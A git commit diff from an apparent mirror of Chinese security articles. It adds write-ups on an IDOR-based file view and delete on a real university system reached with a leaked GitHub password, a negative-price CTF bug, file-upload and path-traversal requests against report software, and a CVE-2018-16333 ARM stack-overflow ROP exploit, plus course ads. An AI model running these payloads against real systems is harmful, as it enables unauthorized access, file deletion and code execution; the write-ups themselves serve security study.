mirror of
https://github.com/gelusus/wxvl.git
synced 2025-08-13 03:17:22 +00:00
命令执行不出网、无回显、连基础工具base64∕xxd都没有?极限生存下的命令执行,怎么打?、某报表漏洞分析、【CTFer成长之路】零元购逻辑漏洞、栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解、Edu双一流证书站 | github密码泄露导致的越权漏洞、
This commit is contained in:
parent
f21d654d16
commit
e44fcd121c
@ -13861,5 +13861,10 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU2NDgzOTQzNw==&mid=2247503235&idx=1&sn=71f55f311c5c308014a3271e92332314": "【成功复现】DocsGPT远程代码执行漏洞 (CVE-2025-0868)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAwMjA5OTY5Ng==&mid=2247526293&idx=1&sn=ef18b8e203a13372a4ae6e2e64021d6b": "一张照片、一句简单提示词,就被ChatGPT人肉开盒,深度解析o3隐私漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzA4NDQ5NTU0MA==&mid=2647690710&idx=1&sn=fc4cae87be57161eff78f17fe0bfcd8b": "0038.我如何在顶级漏洞赏金计划中找到我最喜欢的漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUyODkwNDIyMg==&mid=2247549854&idx=1&sn=443df06051542ef0a63b806e2c0237ad": "挖洞日记 | 记一次不断FUZZ拿下高危越权漏洞"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUyODkwNDIyMg==&mid=2247549854&idx=1&sn=443df06051542ef0a63b806e2c0237ad": "挖洞日记 | 记一次不断FUZZ拿下高危越权漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247497580&idx=1&sn=c77028340ad979d0182045d5796a3826": "命令执行不出网、无回显、连基础工具base64∕xxd都没有?极限生存下的命令执行,怎么打?",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2NTgzMDg1NA==&mid=2247484166&idx=1&sn=ea248bc37355933590a2ccaae38f7eca": "某报表漏洞分析",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg5NTU2NjA1Mw==&mid=2247502141&idx=1&sn=f372a42f927527cbe6c164a6df175c6e": "【CTFer成长之路】零元购逻辑漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2NDcwNjkzNw==&mid=2247487502&idx=1&sn=20724856905cdf62df94314268764232": "栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyNTUyNTE5OA==&mid=2247486927&idx=1&sn=88fd42417284d98b5c427404832afd6f": "Edu双一流证书站 | github密码泄露导致的越权漏洞"
|
||||
}
|
237
doc/2025-05/Edu双一流证书站 github密码泄露导致的越权漏洞.md
Normal file
237
doc/2025-05/Edu双一流证书站 github密码泄露导致的越权漏洞.md
Normal file
@ -0,0 +1,237 @@
|
||||
# Edu双一流证书站 | github密码泄露导致的越权漏洞
|
||||
原创 学员投稿 猎洞时刻 2025-05-11 13:48
|
||||
|
||||
```
|
||||
免责声明
|
||||
本课程旨在培养具备合法合规网络安全技能的白帽子安全研究人员,专注于网络安全漏洞挖掘与防护技术。任何参与本课程的学员,均需承诺遵守国家法律法规,严格遵守网络安全行业的道德规范。
|
||||
严禁黑灰产及违法行为:本课程严禁任何从事黑灰产、非法入侵、攻击他人系统或从事任何违法行为的人员参与。如果学员在学习过程中有任何违法行为,本课程及相关机构将不承担任何责任。
|
||||
学员行为与本课程无关:课程内容仅供学术研究与技术提升之用,任何学员的行为与本课程无关,学员需对其行为负责,并承诺仅将所学用于合法的网络安全防护和技术研究。
|
||||
参与本课程即表示您已充分理解并同意以上免责声明。如有任何疑问,欢迎与我们联系。
|
||||
```
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
开局一个SSO登录框
|
||||
|
||||

|
||||
|
||||
通过在github信息收集可以成功拿到默认密码
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
拿到账号密码后,可以成功登录学生系统。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
进入vpn后,发现一个系统,使用统一登录。
|
||||
|
||||
因为是统一登录,所以使用刚才那个密码仍然可以登陆成功。
|
||||
|
||||
|
||||

|
||||
|
||||
漏洞1 越权查询
|
||||
|
||||
在shre/list 此接口可获取大量用户 id
|
||||
|
||||

|
||||
|
||||
在file/ls接口,拿到别人学号后,可以越权查看别人的文件信息。
|
||||
|
||||
下面是第一个人学号的返回值内容。
|
||||
|
||||

|
||||
|
||||
更改学号后,返回包看到的内容已经不同,可以越权查看。
|
||||
|
||||

|
||||
#
|
||||
#
|
||||
# 漏洞2 越权删除
|
||||
|
||||
先使用file/ls接口输入别人学号,可以看到别人的文件信息。
|
||||
|
||||
也就是上面的越权漏洞。
|
||||
|
||||

|
||||
|
||||
|
||||
然后这里使用另一个接口file/rm ,拿到别人的文件path后,就能够进行越权删除。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
再回到之前的file/ls接口,仍然使用那个越权的学号去查询,发现已经删除成功。
|
||||
|
||||
|
||||

|
||||
|
||||
来自真实的edu证书站的实战案例,感谢师傅观看!
|
||||
|
||||
|
||||
|
||||
猎洞时刻第三期开课啦!!价格仅需一千多!课程内容覆盖企业赏金SRC、众测赏金、CNVD、Edusrc、网安岗入职技能培训等~~
|
||||
|
||||
2025HVV在即,第三期新增内容也包括了护网培训,让没有参加过一次护网的大学生直接拥有“一次护网经历”!
|
||||
|
||||
报名本课程:全天候的技术解答、简历修改、内部众测项目、网安原厂内推、线下岗位推荐、众多安全圈资源!更重要的售后服务~!售后服务!
|
||||
|
||||
|
||||
以下为猎洞时刻第三期漏洞挖掘培训课表
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**第三期漏洞挖掘**
|
||||
|
||||
|
||||
|
||||
目前猎洞时刻漏洞挖掘第三期正在开课中,覆盖企业赏金SRC,众测赏金,线下项目渗透和安全行业工作能力提升、EDU、CNVD,目前价格仅需1K+,每期都可以永久学习,并且赠送内容200+的内部知识星球,保证无保留教学,不搞水课!
|
||||
众多学员入职CT、LM、QAX、AH等安全大厂。 酒香不怕巷子深,可以打听已经报名学员,我这边是否全程干货!
|
||||
绝对对得起师傅们花的钱! (以上课表内容并非全部,经常在上课期间添加新的技能方向!)
|
||||
|
||||
|
||||
|
||||
来自学员的EDUSRC挖掘成果,一个人单月五百分,十几本证书。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
来自学员企业赏金SRC、众测赏金挖掘反馈。
|
||||
|
||||
低价一千多的课程并不代表内容比市面上几千块的差,打破一分钱一分货的观念!
|
||||
|
||||

|
||||
|
||||
|
||||
学员获取万元赏金,一次性回本几倍。
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
来自学员报名后的真实评价和反馈。
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
从一开始的疑惑不信任,怕跳入另一个培训的坑,到最后的逐帧学习!
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
每节课都是花费大量时间进行撰写,不仅仅课程全程干货,针对于学员的入职、简历修改、实习和职业规划、工作内推、在线技术解答这些售后服务也一直在认真做。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
课程加量不加价、上述课表中的内容,不代表第三期的全部内容,实际上课会比课表多更多。
|
||||
|
||||
课程中还会有更多
|
||||
其他师傅的技术分享
|
||||
,比如溯源反制、edu通杀挖掘、企业src挖洞新技巧等等...
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
除此之外,包括什么HW和入职简历修改、安全厂商内推等资源、内部众测项目我们团队都是具有资源的!然后还会赠送一个永久的安全圈子(原收费圈),有大量漏洞实战报告、各种实用工具和安全圈资源!
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**报名课程赠送永久纷传圈子**
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**报名和咨询课程加我微信**
|
||||
|
||||
不仅仅是挖洞课程,一次报名永久学习,送永久星球、护网培训和推荐、全天技术在线解答、大学生入职规划、技术不错可以安全厂商内推、简历优化修改、安全圈子其他课程资源分享、学不会可以直接语音交流。
|
||||
|
||||
目前价格一千多,有优惠,需要报名滴滴我。
|
||||
|
||||
更重要的是售后服务!!!不会亏待各位师傅!
|
||||
|
||||
****
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
(课程咨询,加群聊,好友扩列均可加我~)
|
||||
|
||||
|
66
doc/2025-05/【CTFer成长之路】零元购逻辑漏洞.md
Normal file
66
doc/2025-05/【CTFer成长之路】零元购逻辑漏洞.md
Normal file
@ -0,0 +1,66 @@
|
||||
# 【CTFer成长之路】零元购逻辑漏洞
|
||||
原创 儒道易行 儒道易行 2025-05-11 12:00
|
||||
|
||||
## 逻辑漏洞CTF
|
||||
|
||||
访问url:
|
||||
```
|
||||
http://1b43ac78-61f7-4b3c-9ab7-d7e131e7da80.node3.buuoj.cn/
|
||||
|
||||
```
|
||||
|
||||
登录页面用随意用户名+密码登录
|
||||
|
||||

|
||||
|
||||
访问url文件路径:
|
||||
```
|
||||
http://1b43ac78-61f7-4b3c-9ab7-d7e131e7da80.node3.buuoj.cn/user.php
|
||||
|
||||
```
|
||||
|
||||
登陆后有商品列表,共三个商品,点击购买flag
|
||||
|
||||

|
||||
|
||||
钱不够
|
||||
|
||||

|
||||
|
||||
另两个商品购买会显示各自对应的内容,并在多次购买后也会提示
|
||||
```
|
||||
Money Not Enough
|
||||
|
||||
```
|
||||
|
||||
结合对应的金额不难发现存在初始金额,并且金额有限。在进行购买时,url形如:
|
||||
```
|
||||
buy.php?cost=200&goods=2
|
||||
|
||||
```
|
||||
|
||||
其中便有消费金额的参数,后端根据消费金额直接对余额进行增减将消费金额修改为负数时,便能够使余额增长:
|
||||
```
|
||||
buy.php?cost=-200&goods=2
|
||||
|
||||
```
|
||||
|
||||
将数字调大便可使余额能购买Flag:
|
||||
|
||||
构造payload:
|
||||
```
|
||||
buy.php?cost=-20000&goods=1
|
||||
|
||||
```
|
||||
|
||||
此时便能够正常购买Flag
|
||||
|
||||

|
||||
## 声明
|
||||
|
||||
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
|
||||
|
||||
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
|
||||
|
||||
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
|
||||
|
@ -1,5 +1,5 @@
|
||||
# 命令执行不出网、无回显、连基础工具base64/xxd都没有?极限生存下的命令执行,怎么打?
|
||||
原创 跟着斯叔唠安全 跟着斯叔唠安全 2025-05-08 06:01
|
||||
迪哥讲事 2025-05-11 14:01
|
||||
|
||||
免责声明
|
||||
:
|
||||
@ -155,12 +155,45 @@ awk '{ printf "%c", $1 }' /xxxxx/1.txt > /xxxxx/1.jsp
|
||||
|
||||
End
|
||||
|
||||
|
||||
业务咨询/网络安全教学可添加主页微信咨询,欢迎打扰~
|
||||
|
||||
|
||||
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
往期回顾
|
||||
# 如何绕过签名校验
|
||||
#
|
||||
|
||||
[一款bp神器](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495880&idx=1&sn=65d42fbff5e198509e55072674ac5283&chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[挖掘有回显ssrf的隐藏payload](https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496898&idx=1&sn=b6088e20a8b4fc9fbd887b900d8c5247&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[ssrf绕过新思路](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495841&idx=1&sn=bbf477afa30391b8072d23469645d026&chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[一个辅助测试ssrf的工具](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496380&idx=1&sn=78c0c4c67821f5ecbe4f3947b567eeec&chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[dom-xss精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247488819&idx=1&sn=5141f88f3e70b9c97e63a4b68689bf6e&chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[年度精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487187&idx=1&sn=622438ee6492e4c639ebd8500384ab2f&chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Nuclei权威指南-如何躺赚](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487122&idx=1&sn=32459310408d126aa43240673b8b0846&chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞赏金猎人系列-如何测试设置功能IV](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486973&idx=1&sn=6ec419db11ff93d30aa2fbc04d8dbab6&chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞赏金猎人系列-如何测试注册功能以及相关Tips](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect)
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
126
doc/2025-05/某报表漏洞分析.md
Normal file
126
doc/2025-05/某报表漏洞分析.md
Normal file
@ -0,0 +1,126 @@
|
||||
# 某报表漏洞分析
|
||||
原创 Mert 韭要学JAVA安全 2025-05-11 13:40
|
||||
|
||||
|
||||
1.dataSphereServlet文件上传漏洞
|
||||
|
||||

|
||||
|
||||
server-name里面有对应的类 进入 com.raqsoft.guide.web.DataSphereServlet 进入该类
|
||||
|
||||

|
||||
|
||||
action=38时,代码仅获取文件名并保存,未验证文件类型
|
||||
```
|
||||
Upload upload = new Upload(this.getServletConfig(), request,response);
|
||||
String upName = upload.getFileName(0);path = upload.getParameter("path");fm.write(upName, Consts.getStreamBytes(upload.getByteArrayInputStream(0)));
|
||||
```
|
||||
|
||||
然后通过通过getFilePath方法拼接路径
|
||||
```
|
||||
数据包:
|
||||
POST /servlet/dataSphereServlet?action=38 HTTP/1.1
|
||||
Host: 0.0.0.0
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Connection: close
|
||||
Content-Length: 388
|
||||
Content-Type: multipart/form-data; boundary=eac629ee4641cb0fe10596fba5e0c5d9
|
||||
|
||||
--eac629ee4641cb0fe10596fba5e0c5d9
|
||||
Content-Disposition: form-data; name="openGrpxFile"; filename="test.jsp"
|
||||
Content-Type: text/plain
|
||||
|
||||
<% out.println("test"); %>
|
||||
--eac629ee4641cb0fe10596fba5e0c5d9
|
||||
Content-Disposition: form-data; name="path"
|
||||
|
||||
../../../
|
||||
--eac629ee4641cb0fe10596fba5e0c5d9
|
||||
Content-Disposition: form-data; name="saveServer"
|
||||
```
|
||||
|
||||
2.InputServlet文件上传
|
||||
|
||||

|
||||
|
||||
进入InputServlet类里面
|
||||
|
||||

|
||||
|
||||
跟进UploadFile方法
|
||||
|
||||

|
||||
```
|
||||
核心代码
|
||||
Upload upload = new Upload(servletConfig, request, response);
|
||||
int upsize = Integer.parseInt(upload.getParameter("upsize"));
|
||||
int size = upload.getFileSize(0);
|
||||
if (size > upsize * 1024) {
|
||||
throw new Exception("上载文件大小" + (int)Math.ceil((double)size / (double)1024.0F) + "k大于最大限制" + upsize + "k");
|
||||
}
|
||||
String upFileName = "";
|
||||
if (upload.getUploadFileCount() == 1) {
|
||||
upFileName = upload.getFileName(0);
|
||||
}
|
||||
File f = new File(Config.getCachePath() + "/tmp_" + (new Double(Math.random() * (double)100000.0F)).intValue() + "_" + upFileName);
|
||||
FileOutputStream fos = null;
|
||||
try {
|
||||
fos = new FileOutputStream(f);
|
||||
byte[] b = InputUtils.getStreamBytes(upload.getByteArrayInputStream(0));
|
||||
fos.write(b);
|
||||
fos.flush();
|
||||
} finally {
|
||||
try {
|
||||
fos.close();
|
||||
} catch (Exception var31) {
|
||||
}
|
||||
}
|
||||
InputSessionListener.addFile(request.getSession(), f.getAbsolutePath(), (Object)null);
|
||||
|
||||
```
|
||||
|
||||
使用Config.getCachePath()获取上传文件的目标路径,然后与文件名拼接成完整路径
|
||||
|
||||
upFileName的值由upload.getFileName(0)获取,可以控制上传文件的文件名
|
||||
|
||||
3.
|
||||
dataSphereServlet文件读取漏洞
|
||||
|
||||

|
||||
|
||||
path参数直接来自用户请求,未经过严格过滤
|
||||
```
|
||||
if (!saveServer) {
|
||||
s = SaveUtil.readFile(new File(abPath));
|
||||
}
|
||||
```
|
||||
|
||||
当saveServer为false时,代码会读取并返回文件内容给客户端
|
||||
|
||||
4.dataSphereServlet文件读取漏洞
|
||||
|
||||

|
||||
|
||||
进入DownloadFile()方法
|
||||
|
||||

|
||||
```
|
||||
// 获取文件参数
|
||||
String fileName = request.getParameter("file");
|
||||
// 根据获取的文件名构造文件对象
|
||||
File f = new File(Config.getCachePath(), fileName);
|
||||
// 检查文件是否存在
|
||||
if (!f.exists()) {
|
||||
throw new Exception("Download file is not exist!");
|
||||
}
|
||||
// 读取文件内容
|
||||
FileInputStream fis = new File(Config.getCachePath(), fileName);
|
||||
byte[] b = InputUtils.getStreamBytes(fis);
|
||||
fileName参数直接从用户请求中获取,没有对其进行严格
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
423
doc/2025-05/栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解.md
Normal file
423
doc/2025-05/栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解.md
Normal file
@ -0,0 +1,423 @@
|
||||
# 栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解
|
||||
原创 Vlan911 我不懂安全 2025-05-11 14:38
|
||||
|
||||
### 此文章首发至先知社区
|
||||
### https://xz.aliyun.com/news/17940
|
||||
###
|
||||
### 启动程序的方式与上一篇文章相同,此处不进行赘述
|
||||
### 漏洞点位分析
|
||||
|
||||
漏洞成因是web服务在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中,参数没有进行长度限制,导致栈溢出。根据ssid字符串定位到form_fast_setting_wifi_set函数。
|
||||
|
||||

|
||||
|
||||
程序获取ssid参数后,没有经过检查就直接使用strcpy函数复制到栈变量中。其中有个细节:第一次的strcpy如果要溢出到返回地址,会覆盖第二次的strcpy的参数dest。因此,为了将src指针覆盖为有效地址,并且不影响第一次的strcpy, 需要绕过两次
|
||||
strcpy
|
||||
的安全隐患,确保第二次
|
||||
strcpy
|
||||
不崩溃,因此Payload中需包含可读地址
|
||||
|
||||
|
||||
- 1、溢出后跳到第一个gadget1,控制r3寄存器为system函数地址,第一个pc控制为gadget2
|
||||
|
||||
- 2、跳转到gadget2后,控制r0为要执行的命令即可
|
||||
|
||||
- 3、执行system(cmd)
|
||||
|
||||
### 偏移量分析
|
||||
|
||||
启动调试,这里需要换成pwndgb,因为pwndgb可以支持更多的指令,特别是计算偏移量
|
||||
```
|
||||
# 第一个终端,使用用户模式启动程序
|
||||
sudo chroot ./ ./qemu -g 1234
|
||||
./bin/httpd
|
||||
# 第二个终端
|
||||
gdb-multiarch
|
||||
target remote :1234
|
||||
b *0x67028 #第一个strcpy之前的位置
|
||||
b *0x6707C #第一个strcpy的位置
|
||||
#b *0x67080 #第二个strcpy函数的第一个参数位置
|
||||
#b *0x67090 #第二个strcpy的位置
|
||||
info breakpoints # 或简写为 `i b` 查看断点c
|
||||
#第三个终端
|
||||
python3 4.py #漏洞溢出测试脚本
|
||||
```
|
||||
```
|
||||
# 4.py测试脚本如下所示
|
||||
import requests
|
||||
from pwn import *
|
||||
url = "http://192.168.50.18/goform/fast_setting_wifi_set"
|
||||
cookie = {"Cookie":"password=1234111115"}
|
||||
data = {"ssid": cyclic(500)}
|
||||
response = requests.post(url, cookies=cookie, data=data)
|
||||
response = requests.post(url, cookies=cookie, data=data)
|
||||
print(response.text)
|
||||
```
|
||||
|
||||

|
||||
|
||||
首先看一下ida对两个strcpy的汇编代码
|
||||
|
||||

|
||||
|
||||
汇编代码详解如下:
|
||||
```
|
||||
.text:0006706C SUB R2, R11, #-s # R2=R11-s 计算dest地址
|
||||
.text:00067070 LDR R3, [R11,#src] # 加载src指针到R3
|
||||
.text:00067074 MOV R0, R2 ; dest # 将R2的值赋给R0,设置目的地址dest
|
||||
.text:00067078 MOV R1, R3 ; src # 将R3值赋给R1,设置源地址src
|
||||
.text:0006707C BL strcpy
|
||||
.text:00067080 SUB R2, R11, #-dest # R2=R11-dest 计算dest地址
|
||||
.text:00067084 LDR R3, [R11,#src] # 加载src指针到R3
|
||||
.text:00067088 MOV R0, R2 ; dest # 将R2的值赋给R0,设置目的地址dest
|
||||
.text:0006708C MOV R1, R3 ; src # 将R3值赋给R1,设置源地址src
|
||||
.text:00067090 BL strcpy
|
||||
```
|
||||
|
||||
上述代码都加载了src的指针,所以如果第一次溢出,第二次不处理就会导致程序异常,接下来看pwndbg调试,首先在第一个strcpy函数前打断点,strcpy函数打断点;并对第二个strcpy函数之前打断点,strcpy函数打断点,而后运行测试脚本
|
||||
|
||||
首先可以看寄存器区域,主要看R0寄存器、R11寄存器、SP寄存器、PC寄存器
|
||||
|
||||
R0寄存器一般是函数的第一个传参,这里代表的是strcpy函数的第一个参数,目前还没有步入到0x676c,所以值还没有传入
|
||||
|
||||
R11寄存器当前的栈帧基址为0x40800264,在ARM架构里,R11寄存器一般代表FP寄存器,他的值指向当前函数的栈帧基址;
|
||||
|
||||
SP寄存器当前的栈帧基址为0x407fffe8,SP寄存器代表栈指针,指向当前栈顶(最低地址)
|
||||
|
||||
PC寄存器指向下一个即将执行的代码区域
|
||||
|
||||

|
||||
|
||||
执行ni指令,步入,后续按回车就行
|
||||
|
||||
此时程序已经执行完IDA的汇编代码SUB R2,R11,#-s ,对应的是pwndbg里面的的sub r2, fp, #0x7c
|
||||
|
||||
这行代码的意思就是,计算dest的地址(char s),计算方式为R11 - 0x7c=0x40800264-0x7c=0x08001E8 ,对应的是R2寄存器的值,由调试结果可知, 从栈帧基址(
|
||||
FP
|
||||
)向低地址方向偏移
|
||||
124
|
||||
字节(
|
||||
0x7C
|
||||
),定位到
|
||||
char s
|
||||
缓冲区的起始地址 ,也就是说char s的偏移量为7C
|
||||
|
||||

|
||||
|
||||
下图为执行了 0x67070 ldr r3, [fp, #-0x1c] 指令,该指令为加载src指针到R3寄存器,从这里可以看到,SRC的栈帧指针为 R11 - 0x1c=0x40800264-0x1c=0x0800248
|
||||
|
||||

|
||||
|
||||
继续执行一步,0x67074 mov r0, r2 ,此汇编代码市纪委将R2赋值给R0,实际上就是设置目的地址为char s
|
||||
|
||||

|
||||
|
||||
继续执行,发现执行了0x67078 mov r1, r3,此代码的是设置源地址(src),而后就是将源地址的字符串赋值到目的地址代表的char s,从而完成strcpy(s,str)
|
||||
|
||||

|
||||
|
||||
如果想调试第二个函数,直接按c回车,对第二个函数单独分析(第二次调试打俩断点,第一个是0x67080,第二个是0x67090)
|
||||
|
||||

|
||||
|
||||
从调试结果可以看到,第二个strcpy函数也对src进行了加载,dest的地址为0x408001a8
|
||||
|
||||

|
||||
|
||||
对比一下ida 中的伪代码可以看到
|
||||
|
||||
char s[64]; // [sp+200h] [bp-7Ch] BYREF
|
||||
|
||||
char dest[64]; // [sp+1C0h] [bp-BCh] BYREF
|
||||
|
||||
char *src; // [sp+260h] [bp-1Ch]
|
||||
|
||||
ida反汇编会有一点小瑕疵,比如在arm架构,栈帧基址应该是fp寄存器,但是在ida里显示的是bp,sp+200h与bp-7ch的结果是一样的,这个也可以作为偏移量进行计算对照参考,但是实际结果还是需要看pwndbg的调试,这个结果相对稳定
|
||||
|
||||

|
||||
|
||||
由此,我们可以得到大致的栈帧结构图
|
||||
|
||||

|
||||
|
||||
根据堆栈图,我们不难发现,src对应栈底的偏移量是0x1C;char s到栈底的偏移量是0x7c;返回地址是根据栈底+4个字节计算得来的,所以src 距离返回地址的距离是0x20;而char s到src的偏移量就是0x60;
|
||||
|
||||
上面我们提到,由于两个strcpy函数都对src进行了调用,所以第一次传入src溢出后也会影响到第二个strcpy函数,导致程序溢出崩溃从而无法执行system指令
|
||||
|
||||
所以为了能够完成漏洞利用,我们需要对利用链进行切割
|
||||
#### (1) 第一次 strcpy(s, src)
|
||||
- **目标**
|
||||
:覆盖
|
||||
src
|
||||
指针,使其指向可控地址(如
|
||||
libc
|
||||
中的可读地址)。
|
||||
|
||||
- **偏移量**
|
||||
:
|
||||
|
||||
- s
|
||||
到
|
||||
src
|
||||
的距离 =
|
||||
(bp - 0x1C) - (bp - 0x7C) = 0x60
|
||||
(96字节)。
|
||||
|
||||
- **Payload 部分**
|
||||
:
|
||||
|
||||
```
|
||||
payload = b'A' * 0x60 + p32(readable_addr) # 覆盖到 `src` 并篡改指针
|
||||
```
|
||||
#### (2) 第二次 strcpy(dest, src)
|
||||
- **目标**
|
||||
:通过被篡改的
|
||||
src
|
||||
指针,向
|
||||
dest
|
||||
写入ROP链,覆盖返回地址。
|
||||
|
||||
- **关键点**
|
||||
:
|
||||
|
||||
- dest
|
||||
到返回地址的距离 =
|
||||
(bp + 4) - (bp - 0xBC) = 0xC0
|
||||
(192字节)。
|
||||
|
||||
- 但实际只需覆盖
|
||||
src
|
||||
到返回地址的
|
||||
0x20
|
||||
(32字节),因为
|
||||
dest
|
||||
是中间跳板。
|
||||
|
||||
p32(readable_addr)
|
||||
占 **4字节**
|
||||
, 返回地址本身占**4字节(arm架构中,需要4字节填充)**
|
||||
, 所以实际填充长度是**32-4-4=24字节**
|
||||
#### (3) payload结构
|
||||
|
||||
所以payload应该调整为
|
||||
```
|
||||
payload = (
|
||||
b'A' * 0x60 # 覆盖到src指针位置(96字节)
|
||||
+ p32(readable_addr) # 覆盖src指针(4字节)
|
||||
+ b'C' * 24 # 覆盖剩余空间到返回地址(24字节)
|
||||
+ p32(pop_r3) # ROP链开始
|
||||
+ p32(system)
|
||||
+ p32(mov_r0_ret_r3)
|
||||
+ cmd)
|
||||
```
|
||||
|
||||
下图为栈帧示意图
|
||||
|
||||

|
||||
### readable_addr可读地址
|
||||
|
||||
使用ida pro打开libc.so.0文件,理论上只要是rodata的常量的偏移量,都可以拿来用,但是这里只是偏移量,需要跟上实际的地址,这个地址就是lib基址
|
||||
|
||||

|
||||
### lib基址计算
|
||||
```
|
||||
sudo chroot ./ ./qemu -g 1234 ./bin/httpd #qemu用户模式启动,-g开启gdbserver远程调试
|
||||
|
||||
gdb-multiarch #gdb远程调试调用
|
||||
target remote :1234 #连接需要调试的端口
|
||||
file ./bin/httpd #联动需要调试的文件
|
||||
b puts #puts函数设置断点
|
||||
continue #同c,启动
|
||||
```
|
||||
###
|
||||
|
||||

|
||||
|
||||
由此可见,在内存映射里面的基址地址是0x3fdd1cd4
|
||||
|
||||

|
||||
|
||||
使用ida打开libc.so.0,查看puts的相对偏移量为0x35CD4
|
||||
|
||||

|
||||
|
||||
由此可知 lib基址为
|
||||
```
|
||||
lib_base = 0x3fdd1cd4 - 0x35CD4 = 0x3FD9C000
|
||||
```
|
||||
### system基址计算
|
||||
|
||||
计算system函数偏移量
|
||||
```
|
||||
readelf -s ./lib/libc.so.0 |grep system
|
||||
system_addr = libc_base + 0x5A270
|
||||
```
|
||||
|
||||

|
||||
### Gadget解析
|
||||
|
||||
**跳转到R3的gadget1_addr**
|
||||
```
|
||||
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
|
||||
0x00018298 : pop {r3, pc}
|
||||
```
|
||||
|
||||

|
||||
- **0x00018298 : pop {r3, pc}**
|
||||
- **功能**
|
